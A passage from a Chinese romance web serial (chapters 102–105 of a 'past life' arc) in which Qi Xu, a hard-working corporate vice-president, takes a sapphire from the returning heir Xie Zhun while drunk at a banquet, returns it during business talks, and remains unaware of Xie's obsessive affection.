工作缠身时,成中相从来都不觉得孤独,一旦停下来才发觉子然一身,好在他的倾诉欲不强。他只有在老宅,心才会静下来,没有这么的浮躁,这似乎已经成为他的一种寄托。 午饭时间,餐桌上的菜品比他先前来的时候更丰富,很明显不是他一个人能吃下的分量。李叔见状说道:“隔壁谢老让人送了几道菜过来,巧得很,都是少爷你喜欢吃的。” 戚栩喜欢吃酸甜口,老宅上下都知道,仅此而已。戚栩夹了一块糖醋排骨,吃了一口后扬眉,酸甜可口,是他喜欢的味道。 沈谢两家的老爷子是至交,沈老爷子在世时经常带着他和谢老爷子喝茶,逢年过节都会串门拜访。戚栩心想,得找个时间好好准备拜访谢老爷子。 比拜访来得更早的是,谢准回国了。这个消息还是不在豪门圈的李恺兴告诉他,比他这个挂名少爷的信息来源还要多。 戚栩听到谢准的名字怔愣了一秒,不为别的,只为他意识到好像很久都没有听到过这个名字了。大学四年这个人好像无处不在,学校的任何活动都有他的身影,活动主持,到后来的学生会主席。 大学毕业后,沈泽予跟着谢准出国读书更是成为沈家餐桌上的话题。沈泽予研究生毕业回国,戚搬出沈家,自此他就很少听到关于谢准的事。 时隔多年再听这个名字,哦,原来他还认识这个人。不过也与他无关,他一向不是这个圈子里的人,也不会和这些豪门子弟打交道。十年前那场架注定了他们不是一路人。 沈枫凯和谢氏的合约谈得很顺利,毕竟在谢准回来之前,只剩下一纸合约。 签署合同后,紧接下来是庆功宴。在此前一天,戚栩不小心被倒下来的架子划伤了手臂,血染衣袖,把助理和李恺兴吓了一大跳。 助理更是愧疚得红了眼睛,平时在谈判桌上的谈判好手哆嗦着下巴着更是一句完整的话都没有说出来。“要不是我不小心碰倒架子……戚总也不会受伤。” 当事人反倒淡定得很,这个小伤口对他来说只是小伤,还有心思安慰助理。戚栩被李恺兴马不停蹄送到医院处理,幸好不用缝针,处理完看着吓唬人的伤口,打了破伤风,在问诊室医生叮嘱清淡饮食,请勿喝酒。李恺兴陪着戚栩拿消炎药“明天的庆功宴不去了吧,医生说了不让你喝酒,在家好好休息天,你可是我们团队的顶梁柱,保重身体最重要。”他清楚戚相拼起来不要命似的,这些年大病不多,小病缠身,几乎都是积劳成病,这人能忍,万不得已不会去医院,吃个止疼药第二天正常上班。成用没把伤口当回事“我伤的又不是腿,能走为什么不去凑这个热闹,我好歹是公司副总,这种场合得去,人脉是靠喝回来的。”李恺兴说:“签署合同又不是我们团队,看着真有那么一点眼红,不过说真的,我挺想会会那位谢少爷的。” 成栩其实不太想见谢推,在公在私好像也没什么好见的,不熟,也没想要熟。 102、前世二 沈谢两家的庆功宴不只是两家人出席,还借此邀请了各界名流人士,庆功宴是副,结交人脉才是重中之重。 当然,戚栩也是这个目的,庆功宴举办成如何不关他的事,他只关心出席的人里有没有他接下来能用得上的人脉。 助理和李恺兴早早就敲戚栩家的门,戚栩刚起床湿着头发给他们开门。 李恺兴每次到老板的家都觉得自己走进了样板间,从家里丝毫看不出这个人的喜好,一尘不染,经典的黑白灰装修风格。幸好从随处可见的红色烟盒能看得出来他家老板不是人机,机器人是不会抽烟的。 助理第一时间到冰箱检查上个星期放进去的食材,不出意料,矿泉水全没了,食物还原封不动。她都怀疑她家老板喝露水就能活:“老板,这些食物你怎么都没动过。” 而且老板也不喜欢家里有人走动,所以也就没有阿姨,家政都是在固定时间上来清洁。戚栩擦着头走进衣帽间抽空回:“最近吃的都是酒店外卖,饿不着自己。”助理看了一眼厨房垃圾桶,星级酒店的外卖袋,她一个打工人不该操心的。 他们两个为什么亲自上来接人,他们团队有一个不成文的规定,只要谁到老板家接人一定要上楼,确认老板最近的生活状态以及生命体征。 前段时间疯狂连轴应酬,某一天早上他们给戚栩打电话不接,会议暂停一行人直接找上了戚栩的家,助理知道密码,一开门发现戚栩发高烧在床上晕了过去。 住院之后医生说他有心悸心慌的迹象,以及睡眠严重不足,反正身上的器官都在警告。戚栩嘴上说着要停下来休息,可到了晋升的关键时刻如何能停下来,如今坐上了副总裁的位置,身后的一群人张着嘴嗷嗷待哺,更停不下来。 戚栩穿上规规矩矩的正装,照着镜子检查了一下仪容仪表,已经是对这次庆功宴最大的尊重。其实戚栩一身素得很,浑身上下没有彰显身份的饰品,腕上是空的,袖扣也只是普通款。 只是那一身贴身的高定西服穿着戚栩身上衬得愈发高贵。李恺兴和助理见到戚栩那一瞬眼睛亮了亮,老板的美貌,员工的荣耀。不需要过多的装扮,优越的外貌和体型才是正道。 抵达庆功宴现场,今晚好生热闹,沈家人整整齐齐地出席,沈枫凯带了女伴,是他的未婚妻。戚栩并没有去凑这个热闹,他是沈氏副总裁这个身份足以站在原地引得其他人走过来打招呼。 谢耀廷夫妇出席此次的庆功宴,沈家夫妇带着沈泽予迎了上去。两家人许久未见,秦缓思听说曾云最近做了手术进行了一番慰问。 两个夫人手挽着手走到一边,秦缓思扫了一眼现场,不经意地问:“怎么不见你家小儿子。”曾云时没反应过来,怔愣了下后知后觉对方在问戚栩:“小栩在那边应酬,我叫他过来和你打声招呼。” 秦缓思顺着方向去看,戚栩手上拿着一杯酒和面前的人侃侃而谈,沈老爷子在世时,他们夫妇两人回老宅偶尔会看到戚栩这个孩子,清爽装扮像个没长大的孩子,被沈老爷子拿着拐杖追着打。 只是这些偶遇越来越少,直到沈老爷子去世后,他们也就很少再碰见。 后者注意到她的眼神,转头看过来礼貌地朝她点了点头致意。 秦缓思回以一个微笑,和曾云说:“没事,让孩子忙去吧。” 戚栩算不上多重视这次庆功宴,人脉倒是联络了不少。 不多时,谢淮一身深蓝色西装姗姗来迟,神情淡漠散发着成熟稳健的气势,鹤立鸡群地站在人群中央,顿时吸引了全场目光。李恺兴在戚栩身边大惊小怪地嚷嚷着:“名副其实的贵公子,领带夹,驳头链,不愧是留学归来的少爷,装备齐全,手上那个百达翡丽够买我命了。”戚栩扫了一眼移开眼神,似乎习以为常,抛开家世不谈,谢推在学校一直是引人注目的那个挺热闹,现在集家世于身,更何况回国后第一次现身,全场风头正盛。他心里对谢准这个人也没有其他想法,天之骄子,出生便在金字塔顶,脸上总挂着礼貌的笑意,但仔细看就会发觉他身上生人勿进的冷意。李恺兴见戚栩不说话,连忙找补:“当然在我们心中老板你才是最帅的那个。” 两人说话的工夫,谢淮已经被人团团围住了。 戚栩被沈卓海叫了过去,虽然他在沈家是万人嫌,但在企业上,戚栩的名声明显被比沈泽予更响亮,也更值得成为炫耀的资本。戚栩却不如他的愿,偏要走反方向,扯着一抹似笑非笑的笑容,看着渗人,连过来找沈卓海说话的人都少了。 沈卓海碍于在公共场合,上演父慈子孝的一幕,让他去忙,转头就和其他人说戚栩一心为了事业。有心人听闻戚栩和方家小姐方倩的传闻,借机问沈卓海是不是好事成双。沈卓海神秘地一笑,并没有开口解释。 戚栩不知道沈卓海如何编排他,刚转头就撞上谢准。谢准走过来的时候戚栩被他身前的驳头链的宝石晃了一下眼睛,他多看了两眼,无人知道他对这些亮晶晶的东西感兴趣。 看这架势是要过来客套的问候,毕竟他也沈氏的副总裁,戚栩伸手从服务员的托盘里拿了一杯酒。还没完全靠近,戚栩闻到对方身上的香水味,再看着那一丝不苟的发型,果然是有备而来,只不过是一个庆功宴,这么重视吗? 戚栩扯了个算得上善意的假笑,十年前他们才18岁,冲动动手人之常情,人都会长大,虚伪的社交是成长的第一步。“谢少,好久不见,别来无恙。” 谢准站定在出现在梦里多次的人面前,眼神从对方的眼睛慢慢往下移,像一支画笔在画纸上临摹,舍不得移开,一笔划都是他翘首以盼。不再是照片上那个永远不会回应他的模样。 他喉结滚动,带着些郑重的意味才开口:“戚栩,好久不见。” 戚栩被他的眼神看得心里发毛,这人在国外学了什么巫术回来,那眼神怎么像要吃人一样。果然不是一路人,戚栩只想赶紧敬酒离开。 他举起酒杯,不知道自己脸上的笑容有多勉强:“恭贺谢少和沈氏签署合同,以后多多指教。”谢准达到现场之后注意到戚栩已经喝了不下三杯酒,昨天受伤了,不应该喝酒。 只见谢准的手刚抬起,想把戚栩的酒杯拿下来,沈泽予走了过来打断了两人的谈话。“阿淮,秦阿姨让我看着你不要喝这么多酒。” 说完他转头对戚栩说:“二哥,他的胃不太好,医生不让他喝。” 刚刚谢准和其他人敬酒的时候不来,偏在他敬酒的时候来,怕别人看不出他的司马昭之心。戚栩轻皱眉头没把酒杯放下。 谢淮只见戚栩脸色的变化,只顾着看他反应过来的时候沈泽予已经将他手上的酒杯放在桌上。沈泽予说:“秦阿姨的身体好像不太舒服,你赶紧去看看吧。”谢淮扫视了一圈,确实没发现他母亲的身影。 他朝戚栩投以歉意的眼神:“抱歉,等会儿我… 没等谢准说完,戚栩识相地离开,没走几步仰头将酒杯里的酒一饮而尽,未进食得胃火辣辣地疼。放下酒杯时看到谢准跟着沈泽予走到休息室。 谢淮推开休息室的门发现他母亲和沈夫人交谈甚欢,后者见到谢准进来还惊讶:“阿淮,你怎么进来了?”谢准向曾云问好,走上前问:“您的身体不舒服?“ 秦缓思摆了摆手,不甚在意:“可能太多人了,觉得有点闷而已,进来休息一会儿就好。”她起身拉着谢准的手走到一边低声道:“见到他了吗?” 谢淮“嗯”了一声。秦缓思笑了笑:“别管我了,出去多刷刷脸吧,你们好久不见,他应该觉得你陌生。” 当年对赌协议,出国留学一事她完全被蒙在鼓里,她那时身体出了点小毛病,需要静心修养。她儿子大学毕业后宣布出国深造她才知道,也时隔四年才知道当年那份对赌协议。 做母亲的哪不会心疼自己的孩子,这么大的一份协议压在身上,这几年为了洛滋到处奔波好在功夫不负有心人,谢老爷子有了松口的迹象,现在就差她家秦老头了。 庆功宴即将结束之际,戚栩应酬得有些烦躁,烟瘾犯了,刚想去吸烟区,摸了下口袋发现自己并没有带打火机,转身去了洗手间。 在底层干的那几年戚栩练就了一身酒量,宴会上那几杯酒根本不醉人,不过可能他喝酒之前没有垫吧一口,酒气比先前还要重些,觉得有些微醺。他俯身在洗漱盆洗了个脸,酒气在冷水中褪去一大半。 刚关上水龙头,一旁递过来一块手帕。 戚栩抬头从镜子里和谢准对视,不知怎的像见到牛鬼蛇神一样下意识后退了一步。 见鬼了,戚栩觉得自己喝蒙了,怎么觉得这么大个人脸上显露出委屈之意。他眨了眨眼,转瞬即逝,又不见了,宛若是他的错觉。面前的人还是那么冷漠高贵。 戚栩没接谢准的手帕,反而一直盯着对方胸前那颗蓝宝石不移开眼神,在白炽灯和玻璃照射下,眼睛亮了几个度。放在平时清醒的时候他绝对不可能有这个表情,看着有些单纯和幼稚,任人欺负。 应酬面对的都是老狐狸,更不允许他露出这副表情,让人看到怕不是吃到骨头都不剩。显然,谢准看出了戚栩想要的东西,低头不紧不慢拆下胸前的驳头链,戚栩的眼神紧跟着他的动作,颇有种想要逗猫的感觉。 谢准没有第一时间将链子递给戚栩,朝他走近了一步,鞋头相抵,还想更近怕吓到人最终停了下来,尽量温柔地问道:“想要这条驳头链?” 戚栩歪了歪头,冷笑:“不想,我又不是没钱买。” 喝醉了也不允许自己暴露弱点。 103、前世三 说是这样说,谢准注意到戚栩歪头的时候目光仍然在他手里的驳头链上。 不,准确来说应该是在蓝宝石上。 谢准低头在驳头链上捣鼓了好一阵,戚栩就在一旁静静地看着,其实这个时候他已经发现自己喝醉的迹象,不知道怎么的没离开,绝对不可能是被宝石所吸引,他不是这么肤浅的人。 直到谢淮把宝石给拆下来,放在手帕里递给他,他怔愣了一秒,下意识地拿起来。 蓝宝石在手心里湛蓝如海,宛若藏着一片星空,小小的一颗不大,但从色泽看得出来价值不菲。 这让戚栩想起来被认回沈家没多久,曾云在饭桌上送给他和沈泽予的蓝宝石,他没要,其实是有有那么一点后悔的。 不过还好,工作之后他给自己买了一个保险柜的宝石。 谢准盯着戚栩看得认真的神情勾起了嘴角,从口袋里拿出打火机,开口邀请:“到吸烟区…… 话还没有说完,李恺兴着急地走了进来,看到谢淮在场顿了下,立即恢复应酬的态度:“谢总,这么巧你也来方便。”“……. 李恺兴说完之后也懵了,不小心把沈氏的那套尴尬文学用到人家总裁身上了。他干笑了几声,走到戚栩身旁:“老板,俞总有事找你商谈。” 在李恺兴进来的时候戚栩已经把蓝宝石放进了口袋,像是怕被抢一样,喝醉了有些行为也不是他能够控制的。戚栩扫了一眼谢准手里的打火机,跟着李恺兴离开。 宴会都结束了,哪还有什么赵总,李恺兴看谢准在场随便找了个借口:“你到洗手间这么久我还以为出什么事了,我刚和谢少说了一句尬话不会有损我在他面前的形象吧,以后说不定还有合作。”李恺兴叽叽喳喳说了一路,戚栩也沉默了一路,不知道有没有听进去。 庆功宴对沈氏来说非常圆满,而对戚栩来说,结尾差一根烟的遗憾。 翌日戚栩睡醒发现自己握着打火机,就算抽得最凶一天包烟的时候也没这样,所以有什么烟非要睡觉的时候也想着抽。戚栩不思其解,放下打火机到浴室洗漱, 经过衣帽间的时候发现保险柜没有关上,也没有打开查看里面的宝石是否有缺或者有多,走过去关上便不当回事。 喝醉酒玩宝石不是第一天发生的事,戚栩习以为常,却怎么也没有想到自己喝醉之后做出把别人的宝石顺走这么过分的事。 他的记忆只停留在想去吸烟区抽烟发现自己没有带打火机,并在洗手间遇上谢准,期间两人的交流被他忘得一干二净,断片了。 时隔多年,他和谢准又不熟,应该也没有什么好聊的,无非就是商业客套。戚栩没有放在心上,与谢氏有合作的是沈枫凯,不关他的事。 不到一个星期,沈氏和谢氏开设的项目还在火热进行中,下一个合作也已经提上日程。戚栩知道这份提案被沈枫凯接手时由衷地发问:“谢氏的负责人眼瞎了么,怎么一个坑一个坑地往里面跳。” 由李恺兴这个传声筒告知,前两日沈权凯和谢准团队在会议室大吵一架,战况激烈,结束时保洁阿姨在会议室清理出一堆废弃的纸张送去粉碎。 很明显谢准并不满意沈氏,先前是因为合作谈得差不多,他中途回国接手这个项目。如今再次接受沈氏的合作提议,谢准这是嫌自己日子过得太顺找虐? 李恺兴对戚栩这番话表示认可:“沈总那个团队只会纸上谈兵,一到谈判桌被人按在地上摩擦,可没办法,人家先前就有合作有联系,这个项目也只能他们跟着。” 虽说沈氏对外是一个集团,但内部党系分明,沈枫凯那边对戚栩团队井水不犯河水,戚栩这边对他们不论井水和河水都要犯一下,戚栩经常从沈枫凯手里抢项目。 每次被抢沈枫凯都气急败坏地找过来,戚栩云淡风轻对他说,能被抢就说明你们团队给出的方案让对方不满意,你不在自己身上找原因找我干什么,我可以让给你,就看你能不能抢回去。 这一次尽管沈枫凯和谢准团队闹得不愉快,没有谢氏人脉的他也没了能抢走的心思。如今沈枫凯在谢氏的人脉在于沈泽予,这段时间沈泽予经常出入谢氏,当然这是李恺兴得到的情报。 一个项目经理得到这么多情报,戚栩都怀疑他是不是在干情报工作。 在一次沈枫凯团队中的项目总监聚会结束后往谢准房间藏了个不知名人士后,两家团队的大战一触即发。比两家团队的争吵先来的是沈泽予到沈枫凯的办公室大闹一场,颇有种狗咬狗的意思。 结果更让人意想不到,那份合作意向竟然递到了戚栩手上。 得知这个消息的戚栩当时在S市出差,订了第二天的飞机赶回来,一下飞机就到公司商谈。 戚栩一身风尘仆仆和谢淮的精致打扮形成了鲜明的对比,李恺兴为了挽回老板的帅气形象亲自为他整理了翻乱的衣领。只是手刚放上衣领就被戚栩挡开。 李恺兴不在意地低声说话:“这么赶早知道就约明天见面。”戚栩说:“不碍事,明天周末也不能用你们休息的时间。” 李恺兴和戚栩说完话转身,扬起了一个灿烂的笑容看向谢淮,但被对方深沉冰冷的眼神吓了一个激灵,笑容僵硬地挂在脸上。他从中莫名地看出了一点凶意,寒意从后背渗出来。 哥们,踩你雷区了? 戚栩整理好衣服走了过来,李恺兴本想开口问谢准是不是有得罪的地方,然后发现对方眼里的冰冷之意已经消失了,变得温和。李恺兴不太确定地眨了眨眼睛,刚刚那是他的幻觉吗? 不管是不是幻觉,两方团队的初次商谈要开始了。 两方团队第一次商团似乎一拍即合,没有想象中的大动干戈,甚至谢准团队还给他们点了下午茶。 戚栩见到那份摆在他面前的树莓蛋糕抿了下嘴,李恺兴见他迟迟不动,以为他不想吃这个口味。“老板,我这是巧克力味,和你换一下?” 戚栩还没有说话,另一边的谢准说话了:“李经理,我和你换吧,我芒果过敏。”戚栩闻言抬眸看着谢准,刚刚只剩下树莓和芒果两种口味,谢准把树莓放在他的面前。 李恺兴一听到芒果过敏连忙和谢准换了口味,过敏说大不大,说小不小。不过最后谢准都没有吃那份巧克力口味的蛋糕,他本不喜欢吃甜的。 下午茶享用完毕,商谈继续。 戚栩听了一下午的方案脑袋都大了,临近结束,倚着靠背眼无意扫过坐在他对面的谢准。重金属风格的驳头链,确实适合谢准的风格,再细看有点像庆功宴上戴的那条。不过驳头链上的宝石去哪了? 李恺兴拿着份文件过来询问,发现自家老板一直盯着人家老板看。“老板,看什么呢?” 戚栩想确定那条驳头链是否是那天宴会上的那条,问李恺兴准没错,这人对饰品的价格过目不忘。“你看看谢淮那条驳头链是不是庆功宴那条。” 李恺兴猛地看过去,鹰眼般的眼神看了个透彻:“是那条没错,不过上面的蓝宝石怎么没了。”戚栩的脑海里忽然闪过几个零散的画面,包括他拿过谢准手里的蓝宝石这一幕。他努力平复情绪随口应:“掉了吧。” 李恺兴低头去找:“啊,真掉了,老板你看到掉哪去了吗,我去捡。” 戚栩:“ 掉我家保险柜里去了。 当然这不可能说出来,极大可能会被人当成贼。 不,他的这个行为好像构成犯罪了。 谢准非常有钝感力,被两人光明正大看了这么久才后知后觉,他看向戚栩,贴心地询问:“戚总是有什么话想对我说吗?”戚栩倍感心虚,像是被人抓包似的,移开眼神:“没有。” 第一次意向商谈结束,谢准好似对此并不满意,没有提签署合约的时间。 不算完全没有收获,起码知道谢氏真的有意向和他们合作,仅此而已。 戚栩和李恺兴离开谢氏,走出大楼,戚栩在门口驻足,突然回头朝楼上张望。顶层是总裁办公室,站在楼下只看到高楼算立。 谢准为什么要把驳头链的蓝宝石拆下来给他,他们可没有熟到能有七位数的礼物赠与。期间谢准并没有任何通知,比如律师函之类,也没有任何信息告知,也有可能对方没有他的联系方式。 邮箱总归是有的吧,再不济找沈枫凯告他的状,那可是上百万的蓝宝石。事实上根本一句话都没有提过,今日见到他可谓是无动于衷。 戚栩深知这颗蓝宝石处理不当极有可能成为麻烦,毕竟他们之间除了10年前那场算得上接触的闹剧,往后都是擦肩而过,谁也看不惯谁,更没有什么点头之交。 戚栩不知道,在他看向高楼之时,顶层的人也透过玻璃窗看向楼下。即使看不清楼下的人,谢准神色幽深,他本质是恶劣的,只能通过这种手段来接近戚栩。 只要对方身上有他的一丝牵连,不管是物品,合作,还是家族关系,戚栩总归要和他有联系,这条线算是连起来了。在夕阳下,谢准脸上映出了一种他自己都没有察觉出的偏执。 这个时候总助带着一份树莓蛋糕进来:“谢总,这个蛋糕您要带回家吗?” 不喜吃甜的谢准说:“装起来吧,我带回家。” 总归要尝尝的。 104、前世四 那颗蓝宝石戚栩让李恺兴在二次商谈的时候连同精心准备的机器人一同送到谢准手上。 为什么戚栩不亲自去商谈。 鸡蛋不能放在同一个篮子里,沈氏的海外合作握在戚栩手上,沈权新对此虎视助眈,偏偏他们又弄不清谢准的合作意愿,所以兵分两路,李恺兴前去试探,而戚相带着助理参加宴会。 李恺兴兴高采烈地去了,和副手到达对方给出的地点时还怔愣了下,会员费一年大几百万近千万的瑜海公馆。 他和副手说:“我们是不是导航错地方了?” 副手再次确认行程:“对方发的地址确实是在这里,还有包厢号。” 李恺兴扫了一眼停在门口一排的跑车,和他停在跑车中的比亚迪,人如其车,多少有点格格不入。这种地方就该他家老板来,他一踏进这个门保准露怯。 好在他们团队跟着老板坐过私人飞机,私人游轮,去过拍卖会,见识被提了上来,都会装,就算交不起会员费,也要表现出自己能去得起的样子。 李恺兴已经准备亮出手腕上那块传家宝劳力士,勒紧裤腰带才买了这么一块充场面。谁知谢准竟然亲自到门口迎接,他们两个何德何能。 谢准却没有第一时间看李恺兴,而是看着他们两人的身后眺望远处,像是在等谁。 虽然他长得不帅,但应该不至于站在面前都被忽略吧。李恺兴主动走上前,笑着打招呼:“谢总,我在这里。” … 谢准闻声才扫了一眼李恺兴,似乎在看不重要的人,回:“李经理,我不瞎。” 李恺兴连忙应和:“是是是,谢总的眼睛最明亮了,像天上的星星。” “……. 谢准依旧站在门口没动,也不知道在等谁。李恺兴也就陪着他一起等,毕竟对方才有瑜海公馆的会员,他一个人进不去。然后一行人在门口像迎宾似的等了几分钟。 李恺兴出于人道主义的关怀开口:“谢总,还有谁要来吗?”谢淮收回眺望的目光,浑身散发着恐怖的气息:“沈氏这一次只来了两个人商谈,是不是太没有诚意了。” 李恺兴眨了眨眼睛,再次给谢准的气场给吓了一跳,这哥们好像学过变脸。“谢总,我们两个是戚总手下的得力干将,团队经过一个星期的熬夜准备妥当,连戚总都跟着熬了几天,今天一定会给你一个满意的方案。” 谢准身上吓人的气场转瞬即逝,也没回话,转身离开。李恺兴这个人精莫名地察觉到对方的落寞,连带着领带夹上那颗绿宝石都变得暗淡无光。 谢准订了一个豪华包厢,娱乐区,会议区,用餐区,一应俱全。 第二次商谈戚栩团队确实下了很大的功夫,桌上放着电脑,李恺兴拿着纸质文件侃侃而谈,完美地回答对方团队抛出来的问题。 谢准脸上虽然没有其他表情,李恺兴十分自信地觉得这一次应该是稳了。 这些问题都是他家老板在前一天站在谢氏的角度在会议上提出来,把标准答案喂到他的嘴里,他还能出错不成。 第二次商谈很顺利,只是谢准依旧没有提出什么时候签署合同。 这事急不来,李恺兴决定推波助澜,在用餐之前把准备好的礼物送出去。有赵斯然的前车之鉴,他们绝对不会在谢准的私生活上动手。只是机器人真的能踩中谢准的喜好吗? 据他准确的消息来源,他家老板18岁才被认回沈家,和谢总一间大学,沈谢两家是世家,两人有来往不足为奇。 谢准看着桌上的盒子包装有了一丝兴趣,这是洛滋和国内科技公司合作推出的最新款智能机器人。谢准的助理帮忙拆开,将机器人放在谢准面前。 李恺兴第一时间察觉到谢准的兴趣,按下智能机器人的开关,介绍着这个机器人的功能。谢准饶有耐心地听着,问道:“这是李经理挑选的礼物?” 李恺兴可不敢认下这份礼物,说道:“是我们戚总提议的,没想到还真送到了谢总的心里去。”说着他拿出一个绒盒,这是老板亲自交代他一定要交给谢总的手里。“谢总,这是我们老板让我交给你的。” 谢准立即放下机器人,看都不看一眼,接过李恺兴手里绒盒。他迫不及待地打开,在看到蓝宝石时,他的心瞬间跌落谷底。 物归原主意味着戚栩主动和他断开关系,并不想私下和他有联系。谢准知道,他们一开始就处于不同的境地,无论是否在10年前发生过误会,还是在学校里对对方熟视无睹,擦肩而过。 为什么没有一次愉快的交流,仅仅是因为沈泽予吗? 并不全然是,还有当时两人的心境,一个觉得对方是敌人,一个面对困境无从下手,不知如何挽救两人的矛盾。 在他意识到心底的那份喜欢时两人已经成为名义上的敌对,戚栩对他这个圈子的不屑。其实他后悔,为什么在戚栩和徐亦辰打架之后不留住他,他想的,只是一次错过,接下来永远都是错过。天意弄人吗?不,是他开始的踌躇不定,自作自受的教训。 李恺兴偷摸瞄了一眼,看见了绒盒里的蓝宝石,原来谢总驳头链上的蓝宝石被老板捡到了。果然是拾金不昧的老板。 来都来了,到了用餐时间,李恺兴高高兴兴地落座等着上菜。服务员上菜那一刻他懵了。 餐桌上大部分都是酸甜口的菜品,谢少这个口味怎么和小孩子一样,反差挺大的。这个有用的消息第一时间收进他的信息库,以备不时之需。 用餐期间,谢准的胃口不佳,酸甜口的菜品更是一口都没动。餐桌上的氛围很好,李恺兴是个懂得调节气氛的,除了不能调解上位者的的情绪,谢总可谓是刀枪不入,也不知道谁能调得动他的情绪。 谢准指腹捻着蓝宝石,垂眸不知在想些什么,耳边的欢笑似乎成为画外音。口袋里的手机震了又震,催命符一样,徐亦辰一打就是好几个电话,锲而不舍的精神值得人佩服。谢准忍无可忍挂了又打来,别无他法,只能起身接听。 电话一接通,传来徐亦辰急不可耐地贺喜:“恭喜啊,你喜欢的人和我喜欢的人又在一起了,男才女貌好般配啊。”仔细听能够得出来命很苦的样子。 谢淮刚刚在席间听到李恺兴说,今晚戚栩出席了一个中外联合举办的慈善晚会,不算重要,在第二次商谈确定的前提下,有不想见他的可能。“你在现场?” 徐亦辰站在花园里,手里晃着酒杯,仰头一口气喝完,颇有种借酒消愁的意思。 “我妈给我做局了,来了之后才发现我的女伴是楚家小女儿,我人她七岁,人还没大学毕业,也是巧,我一进场就看到方情挽着戚相的手进来,你家那位挺绅士的,一直护着我家那位。” 回国之前谢准说要把徐亦辰的告白计划提上日程,可根本带不动徐亦辰,在谢准的接风宴上,四人小队再次相聚。蒋子慕给谢准送了他画的画,收拾收拾这些年送出的画,可以再办一个画展。 从小长大的伙伴,虽说有段时间没见,可相处方式一直都没有变。徐亦辰在餐桌上没喝酒,想着结束后送方倩回家,谢准给他递了个眼神,对方回以一个自信的表情。 然而到最后只是免费当了一次代驾。事后徐亦辰找借口,还是十年如一日的说法,要是连朋友都没得做怎么办,我不能想象我和她闹掰的画面。 喜欢一个人无非两个极端,大胆地告白,胆小地藏着。 很显然他们两个都是高傲的胆小鬼,无法跨越那一条界线。 谢准说:“你走过去当第三者,别让他们单独相处。”徐亦辰:“你还是人吗?让我当第三者。” 谢准语气平淡:“那你等着收请帖。”徐亦辰咬了咬牙,破罐子破摔:“行啊,大不了大家一起当花童。” 当然徐亦辰不想收请帖,想当请帖的另一个主人公,所以走过去当第三者了。为兄弟两肋插刀,有福同享有难同当也不可缺。 徐亦辰不管三七二十站在了戚栩和方倩的中间,对戚栩说:“阿……谢准有事找你。”说着把手机递给了他。 戚栩:…他们也没有这么熟吧,这电话是他能接的吗?今晚谢准和李恺兴在商谈,可能是有公事,所以他接过了这部手机。他当着两人的面聊这通电话:“谢总。” 那头的谢准静了静,两秒后低沉的声音传来:“戚总,酒精伤身,少喝。”戚栩更是听得一头雾水,打这通电话只是告诉他少喝酒?毕竟是未来的合作伙伴,他还是给面子地应下:“你一样。” 一来一往的答话结束了这通电话。 戚栩将电话还给徐亦辰,后者整晚都跟在方倩身边,把自己今晚的女伴丢给他照顾。好在对方是楚家小姐,楚家是他未来的合作企业,趁着这次机会先和楚小姐打好关系,这也许会成为人脉。 宴会结束,戚栩把楚小姐安全地送上车,目送她离开后才上自己的车。他揉了揉眉心,社交应酬对他来说不算什么,不过他本就不是一个善谈的人,社交有自己的一套公式。 助理说他像个机器人,每次都按照公式来结交人脉。也只有这样,自己给自己下达命令,戚栩才有动力,不然他都不知道这么拼是为了什么。有根线牵着他让他有种世上还有牵挂的错觉。 这个时候戚栩才有时间看手机,工作群里99+的消息,他随意划拉了一下,李恺兴在群里说已经确定签署合同的时间,群里都在祝贺。还有李恺兴发出来的照片,说今晚在瑜海公馆用餐。 戚栩无意之间点开了一张照片,场景是会议区,但谢准无意间闯入,侧身看了过来。还是那一身精致的绅士装扮。 不过戚栩的注意点在,原来今晚谢准戴了绿宝石领带夹,看着比蓝色更高贵。不知道实物如何。 105、前世五 戚栩意识到保险柜满了是在一个星期里拍下了七颗宝石,保险柜再也装不进第八颗。乍一看有点报复性消费的意思。 戚栩的物欲不高,不爱跑车,不爱游艇,不爱玩,更不爱人,只爱钱生钱和收集宝石。不过也是偶尔才买一颗,这几年下来才装了一个保险柜,毕竟宝石这种东西看眼缘。 如今一个星期拍了下一年的量,宝石璀璨夺目,看着能让心情变好。 戚栩为了对得住自己的钱包,认真想了想报复性消费的源头,不到一秒就想起那颗曾经在他的保险柜待过几天的蓝宝石。 还有在一段时间内见识过几颗顶尖的宝石,可远观不可亵玩,引起了他的消费欲。始作俑者正是谢准。 无论视频会议还是见面商谈,在他身上永远都有一颗引人注目的宝石。五彩缤纷,熠熠生辉。 戚栩看装满的保险柜,毫不犹豫下单了一个新的保险柜,应该可以再多装个十几二十颗。以他现在的资产,能够保证他的这个爱好永无止境。 李恺兴亲自和谢氏签署这份合同,每天走在沈氏办公楼上挺直胸脯像只战斗胜利的公鸡。特别面对沈枫凯团队时,恨不得将合同怼到他们脸上,让他们看看谁才是吃干饭的那个。 茶水间永远都是八卦最多的地方,李恺兴不幸成为了里面的一员,被赵斯然堵在了茶水间。李恺兴是戚栩的心腹,赵斯然是沈枫凯的得力助手,两人在公司同为笑面虎,两位老板不屑于装,让两位下属装完了。 赵斯然捧着杯热茶,不经意地问:“听闻谢总和戚总同一间大学,也是同届,原来还有这一层情谊在。” 李恺兴皱眉听着这番话:“你什么意思?自己签下这份合同造谣我们走后门,按照走后门的关系,沈总不也靠沈老爷子在世时的人脉签上了合同。” 赵斯然听到他的语气连忙安抚:“我又没有别的意思,签下的合同都是沈氏的,本是同根生,话说,戚总好像不在第二次商谈会议中,你怎么搞定谢总。” 怎么搞定? 至今李恺兴都弄不清楚怎么搞定谢准。 那天晚上谢准中途离席接电话,他趁机试探谢准团队的口味,但个个口风紧得很,没有透露出什么有用的消息。 谢淮接完电话回来就主动提出签署合同这件事,李恺兴受宠若惊,天下掉馅饼砸他身上,感谢天感谢地,感谢那一通电话。当然,李恺兴不会说踩了狗屎运,这有损他的职业能力。 “你以为我像你一样弄什么歪门邪道,我的专业素养和能力打动了谢总,方案滴水不漏,人还是得脚踏实地,不然怕是得罪人摔大跟头。“ 赵斯然惹怒了谢准,被沈枫凯扣了奖金。如今听着李恺兴的阴阳怪气只能默默咽下这口气。李恺兴将在茶水间和赵斯然的谈话一字不落地告诉戚栩,并坦然应该是沈总让他过来试探口风 戚栩不思其解,试探什么口风。他刚从外地参加完经济会议回来,对沈氏 天一变的八卦风向不甚了解。 在会议上他还撞见了谢准,不过是远远看了一眼,谢准这个身份去到哪里都会是中心人物,会议室结束时,他只能看到谢淮的后脑勺。 李恺兴对此回答:“哦,他们都在说谢总去了沈总弟弟工作室的开业礼,谢总和沈泽予这么要好为什么不和沈总签合同,而是和我们签署合同。” 